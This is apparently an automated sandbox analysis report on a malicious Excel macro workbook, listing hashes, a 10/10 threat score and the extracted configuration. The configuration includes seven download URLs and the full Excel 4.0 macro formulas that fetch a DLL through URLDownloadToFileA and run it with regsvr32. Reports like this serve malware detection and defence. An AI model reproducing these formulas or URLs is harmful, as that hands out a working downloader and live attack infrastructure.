General
-
Target
a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388
-
Size
122KB
-
Sample
241120-zyemcatkey
-
MD5
ee46821b545644533bfb09b32246e29e
-
SHA1
680bf87bc905c57a83932fa03bdbc7bfbd69a20e
-
SHA256
a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388
-
SHA512
09feff97e4cda13beea9cde59d004dba979b20ba5254b82e3d0252bdc1d2e16bc3fc7cedf0d755e7775587ae2f2830ae90fb8753ac7c0a5c2064c042319341b6
-
SSDEEP
3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ
Behavioral task
behavioral1
Sample
a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/
https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/
https://oneworldlantern.com/9A033MS/
https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/
https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/
https://andrewpharma.com/wp-includes/KKXAiWGL/
https://wxoperate.bb2play.com/framework/1zTlT1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://oneworldlantern.com/9A033MS/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andrewpharma.com/wp-includes/KKXAiWGL/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wxoperate.bb2play.com/framework/1zTlT1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()
Extracted
https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/
https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/
https://oneworldlantern.com/9A033MS/
https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/
https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/
https://andrewpharma.com/wp-includes/KKXAiWGL/
https://wxoperate.bb2play.com/framework/1zTlT1/
Targets
-
-
Target
a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388
-
Size
122KB
-
MD5
ee46821b545644533bfb09b32246e29e
-
SHA1
680bf87bc905c57a83932fa03bdbc7bfbd69a20e
-
SHA256
a817072ebab6a953cb110c015a08dc07cd82a9cf4a6c90a16cf2bae307677388
-
SHA512
09feff97e4cda13beea9cde59d004dba979b20ba5254b82e3d0252bdc1d2e16bc3fc7cedf0d755e7775587ae2f2830ae90fb8753ac7c0a5c2064c042319341b6
-
SSDEEP
3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ
Score10/10 -